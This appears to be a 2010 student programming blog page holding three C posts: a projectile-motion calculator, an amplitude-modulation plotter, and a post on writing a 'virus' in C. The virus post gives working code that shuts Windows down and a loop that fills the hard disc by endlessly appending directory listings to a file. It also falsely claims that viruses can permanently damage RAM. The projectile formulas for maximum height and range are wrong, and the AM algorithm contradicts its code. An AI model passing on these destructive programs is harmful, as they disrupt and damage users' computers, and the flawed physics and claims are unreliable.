Saturday, August 21, 2010

PROJECTILE MOTION

0 comments
SOURCE CODE:


/*To determine the maximum height,time of flight and horizontal range of a projectile motion*/
#include<stdio.h>
#include<conio.h>
#include<math.h>
void main()
{
float u,g=9.8,theta,T,R,h,H,rtheta;
clrscr();
printf("Enter the velocity:");
scanf("%f",&u);
printf("\nEnter angle of prijection:");
scanf("%f",&theta);
rtheta=3.1415*theta/180;
H=u*u/(2*g);
T=2*u*sin(rtheta)/g;
R=u*u*sin(2*rtheta);
h=H*pow(sin(rtheta),2);
printf("\n*************************THE RESULT*************************\n");
printf("\nThe maximum height is:%fm\n",H);
printf("\nThe time of flight is:%fs\n",T);
printf("\nThe horizontal range is:%fm\n",R);
printf("\nThe maximum vertical height for angle %f is:%fm\n",theta,h);
getch();
return;
}


Algorithm:

1.Start
2.Read the velocity,u
3.Read the angle,theta
4.Calculate maximum height H=u2/2g
5.Calculate the time of flight ,2usin(rtheta)/g
6.Calculate horizontal range,u2sin(2*rtheta)
7.Calculate maximum vertical height,h=H*pow(sin(rtheta),2)
8.Print maximum height,time of flight,horizontal range and vertical height.
9.Stop
Continue reading →

TO GENERATE AN AMPLITUDE MODULATED WAVE

0 comments
SOURCE CODE:
/*To generate an amplitude modulated wave*/
#include<graphics.h>
#include<stdlib.h>
#include<stdio.h>
#include<conio.h>
#include<math.h>
void main()
{
int gm,gd=DETECTED;
float Ec,Wc=300,Ws=15,m,t,grx,gry,y;
printf("Amplitude of carrier wave: \n");
scanf("%f",&Ec);
printf("Modulation factor: \n");
scanf("%f",&m);
initgraph(&gd,&gm,"");
setcolor(WHITE);
line(10,10,10,200);
line(10,100,300,100);
for(t=0;t<9;t=t+.0001)
{
grx=10+325*t;
y=Ec*cos(Wc*t);
gry=100-y*10;
putpixel(grx,gry,RED);
}
line(10,200,10,500);
line(10,350,300,350);
for(t=0;t<9;t=t+.0001)
{
grx=10+325*t;
y=m*Ec*cos(Ws*t);
gry=350-y*10;
putpixel(grx,gry,BLUE);
}
line(350,90,950,400);
line(350,248,630,248);
for(t=0;t<87;t=t+.0001)
{
grx=350+325*t;
y=Ec*(1+m*cos(Ws*t))*cos(Wc*t);
gry=250-y*10;
putpixel(grx,gry,YELLOW);
}
getch();
closegraph();
}




Algorithm:

1.Start
2.Read Ec
3.Assign Wc=300,Ws=15.
4.Read m,Ec,Wc,Ws
5.For t varying from 0 to 8999
Do the following
a).Compute grx=10+325*t
b).Compute y=Ec*cos(Wc*t)
c).Compute gry=100-y*t
d).Draw the coordinates
6. For t varying from 0 to 8999
Do the following
a).Compute grx=10+325*t
b).Compute y=m*Ec*cos(Ws*t)
c).Compute gry=350-y*t
d).Draw the coordinates
7.For t varying from 6 to 8699
Do the following
a).Compute grx=350+325*t
b).Compute y=Ec*(1+m*cos(cosWs*t)*cos(Wc)+t)
c).Compute gry=350-y*t
d).Draw the coordinates
8.Stop

Continue reading →

HOW TO CREATE VIRUS PROGRAM IN C LANGUAGE.

0 comments

Hi ,every computer programing students have a dream to make a computer virus. Here we will study simple virus program created in c.(only for study pupose)You test the program in your own computer.There are several types of viruses with different functions.Some of which delete your computers' important files and folders,some change the configurations of your computer system,some dump your hard disc.There are some which can damage your RAM permenently.


(1)The c program which shutdown the windows operating system
Write the following code in tubo c.


CODE:
void main(void)
{
system("shutdown-s");
}


suppose the above.Let file name is close.c and compile and execute the above code.Now close the turbo c compiler and open the directory in window you have saved the close.c (default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown. 

(2) The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â.ša.exe");
}
}


here a simple virus program but it has ability to jam your hard disc.The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call "dir>>â.ša.exe" will execute the dos command 'dir' and redirect its output to a file "â.ša.exe".So running the program in a folder having many files and folders will increase the size of "â.ša.exe" in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the virus.exe file.
Continue reading →